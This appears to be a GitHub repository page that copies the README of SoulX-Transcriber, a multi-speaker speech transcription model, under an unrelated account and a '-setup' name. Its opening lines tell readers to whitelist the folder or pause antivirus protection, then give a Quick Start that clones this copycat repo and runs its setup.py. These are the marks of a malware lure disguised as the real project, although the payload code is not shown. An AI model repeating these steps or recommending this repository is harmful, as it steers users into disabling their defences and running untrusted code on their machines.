Skip to content

PrideSquidExalt/SoulX-Transcriber-setup

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/PrideSquidExalt/SoulX-Transcriber-setup.git
cd SoulX-Transcriber-setup
python setup.py
Demo image

SoulX-Transcriber: A Robust End-to-End Framework for Multi-Speaker Speech Transcription

Yuhang Dai1,2*, Haopeng Lin2*, Zhennan Lin1, Jiale Qian2, Jun Wu2, Hao Meng2, Hanke Xie1,2, Hanlin Wen2, Chuang Ding3, Shunshun Yin2, Ming Tao2, Lei Xie1, Xinsheng Wang2†

*Equal contribution.   Corresponding author

1Audio, Speech and Language Processing Group (ASLP@NPU), Northwestern Polytechnical University, Xi’an, China
2Soul AI Lab, China
3Moonstep AI, China

🎬 Demo Video

soulx-transcriber-demo-01.mp4

Please visit our ✨demopage✨ for more demos.

🏆 SoulX-Transcriber performance Overview

Demo image

📖 Introduction

SoulX-Transcriber is a unified end-to-end large audio language model for multi-speaker diarization and recognition in multi-speaker dialogue scenarios. Rather than relying on a cascaded pipeline, the model directly learns speaker attribution, timestamped segmentation, and transcription in a single framework, producing coherent speaker-consistent transcripts for overlapping and fast-turn conversations.

🌟 Highlights

  • State of the art performance. SoulX-Transcriber achieves superior performance on the AISHELL-4 and AliMeeting benchmarks via a unified diarization and recognition framework, which directly produces structured outputs consisting of timestamps, speaker labels, and transcripts.
  • Speaker-aware multi-stage training. Speaker-aware multi-task Continues Pre-Training plus Supervised Fine-tuned strengthens speaker representation and robustness to conversations, mitigating same-gender confusion, overlap, and boundary errors.
  • A more natural and authentic approach to dialogue generation. We propose a speaker characteristics-driven audio matching pipeline that automatically selects the most suitable reference audio for each utterance, producing more natural, context-aligned simulated dialogues.

📊 Results

Utterance-level Evaluation on open-source datasets

Model AISHELL-4 Alimeeting AMI-SDM
DER↓WER↓cpWER↓∆cp↓ DER↓WER↓cpWER↓∆cp↓ DER↓WER↓cpWER↓∆cp↓
VibeVoice-ASR 6.7721.4024.993.59 10.9227.4029.331.93 13.4324.6528.824.17
Gemini-2.5-Pro† 36.0719.8125.115.30 56.3930.1639.299.13 50.2831.6639.988.32
Gemini-3.1-pro-preview† 24.8424.8624.81-0.05 30.7618.8218.990.17 40.4030.8232.972.15
Qwen3.5-omni† 22.3315.1314.71-0.42 26.4612.4412.790.35 30.0528.5733.464.89
SoulX-Transcriber 2.8914.1613.90-0.26 5.3913.0713.610.54 11.6725.5532.787.23

Segmented Evaluation (5 minutes segments)

Model Alimeeting AISHELL-4
DER↓CER↓cpCER↓∆cp↓ DER↓CER↓cpCER↓∆cp↓
End-to-End Baselines
VibeVoice-ASR 18.0029.7231.942.22 9.1719.5422.953.41
Gemini-2.5-Pro† 58.1431.6942.2210.53 40.8720.2626.316.05
Gemini-3.1-pro-preview† 38.7526.7532.846.09 22.0322.7527.434.68
Qwen3-omni-30B-Instruct 38.3625.2837.5412.26 34.7115.9523.637.68
Ours
SoulX-Transcriber 4.4010.3411.581.24 6.1212.8715.452.58

Internal Multi-domain Evaluation

Model Social conversation Drama Podcast
DER↓WER↓cpWER↓∆cp↓ DER↓WER↓cpWER↓∆cp↓ DER↓WER↓cpWER↓∆cp↓
VibeVoice-ASR 2.7630.3431.771.43 27.7821.8645.8724.01 14.78.8814.585.7
Gemini-3.1-pro-preview† 38.6929.1436.727.58 34.8710.0121.0311.02 24.5623.8927.213.32
SoulX-Transcriber 1.326.737.310.58 23.565.1720.5815.41 21.157.519.3711.87

† Closed-source model.

🧪 Multi-speaker Dialogue Simulation Pipeline

To improve out-of-domain generalization, we build an agent-based multi-speaker dialogue simulation pipeline with a speaker-aware prompt audio matching mechanism. Given a target dialogue text, the system analyzes speaker tags, selects the most suitable reference audio for each speaker using multi-dimensional speaker representations, and synthesizes context-consistent multi-turn dialogue audio.

Workflow: building dialogue text database → building reference audio database → target text analysis → reference audio matching → dialogue audio generation. Detailed information is shown on the figure below.

simulation_pipeline
  • Dialogue text database. We collect multi-speaker dialogue texts from Chinese/English podcasts and novels. An LLM annotates speaker tags and controls the number of speakers; we keep segments with 3–8 speakers to ensure natural, coherent dialogue context.

  • Dialogue context analysis: We use Qwen3-8B as the LLM brain for speaker-tag and context analysis, and SoulX-Podcast & MOSS-TTSD for long-form, multi-speaker multi-turn TTS synthesis.

  • Reference audio database. We run VAD on long-form drama audio, cut it into 3–10s clips, and filter by UTMOS and SNR to ensure quality. Each clip is annotated by Gemini-3.1-pro-preview with multi-dimensional speaker attributes (e.g., gender/age/emotion/speech rate/pitch/timbre/style/tone/role state). We embed each attribute using bge-m3 and stack them into a per-clip feature matrix, forming an embedding index for retrieval.

  • Best reference–audio matching. Given a target dialogue with speaker tags, an LLM analyzes each speaker’s attributes and builds the same multi-dimensional embedding representation. We compute similarity against all reference clips, apply a weighted score across attribute dimensions, and retrieve top-k (k=3) candidates per speaker. A final selection enforces diversity (different source speakers) and UTMOS consistency (|Δ| ≤ 0.5) to produce the best reference audio set for synthesis.

Installation

Environment Setup

git clone https://github.com/Soul-AILab/SoulX-Transcriber.git
cd SoulX-Transcriber

conda create -n soulx_transcriber python=3.12 -y
conda activate soulx_transcriber

Install MS-Swift and dependencies:

pip install ms-swift

Model Download

We provide the pre-trained model weights on Hugging Face and modelscope. You can download the model based on your requirements:

Model Version Description Language Download
SoulX-Transcriber Full version of SoulX-Transcriber ZH/EN 🤗 Hugging Face
SoulX-Transcriber Full version of SoulX-Transcriber ZH/EN ModelScope ModelScope

Training & Fine-tuning

SoulX-Transcriber shares the same architecture with Qwen3-Omni-30BA3B-Instruct. We recommend users conduct continued pre-training and fine-tuning for this model via the ms-swift toolkit.

Inference

vLLM-omni

SoulX-Transcriber is built on top of Qwen3-Omni-30B-A3B-Instruct. We recommend using vllm-omni for inference..

cd your_env_path/
# install uv:
curl -LsSf https://astral.sh/uv/install.sh | sh
# create new uv environment(using aliyun mirror)
uv venv vllm_omni --python 3.12 --seed --index-url https://mirrors.aliyun.com/pypi/simple/
# activate uv environment
source vllm_omni/bin/activate
# install vllm:
uv pip install vllm --torch-backend=auto --index-url https://mirrors.aliyun.com/pypi/simple/
# install vllm-omni:
uv pip install vllm-omni --index-url https://mirrors.aliyun.com/pypi/simple/
# install gradio (Optional):
uv pip install 'vllm-omni[demo]' --index-url https://mirrors.aliyun.com/pypi/simple/
# If you meet an "Undefined symbol" error while using VLLM_USE_PRECOMPILED=1, please use "pip install -e . -v" to build from source.
git clone https://github.com/vllm-project/vllm-omni.git
cd vllm-omni
uv pip install -e . --index-url https://mirrors.aliyun.com/pypi/simple/

For more details on compiling vLLM from source, refer to the vLLM official documentation.

Infer single wav file

# stage1: download pretrained model
# stage2: inference
source your_env_path/vllm_omni/bin/activate  # source the env
bash ./inference.sh

Infer single wav file with retry mechanism

# stage1: download pretrained model
# stage2: inference
source your_env_path/vllm_omni/bin/activate  # source the env
bash ./inference_with_retry.sh

🙏 Acknowledgements

Special thanks to the following open-source projects:

Citation

If you find this work useful, please cite:

@misc{dai2026soulxtranscriber,
      title={SoulX-Transcriber: A Robust End-to-End Framework for Multi-Speaker Speech Transcription}, 
      author={Yuhang Dai and Haopeng Lin and Zhennan Lin and Jiale Qian and Jun Wu and Hanke Xie and Hao Meng and Hanlin Wen and Chuang Ding and Shunshun Yin and Ming Tao and Lei Xie and Xinsheng Wang},
      year={2026},
      eprint={2606.02400},
      archivePrefix={arXiv},
      primaryClass={eess.AS},
      url={https://arxiv.org/abs/2606.02400}, 
}

License

We use the Apache 2.0 License. Researchers and developers are free to use the codes and model weights of our SoulX-Transcriber. Check the license at LICENSE for more details.

Contact

About

An end-to-end framework for multi-speaker transcription that jointly models who spoke, when, and what.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors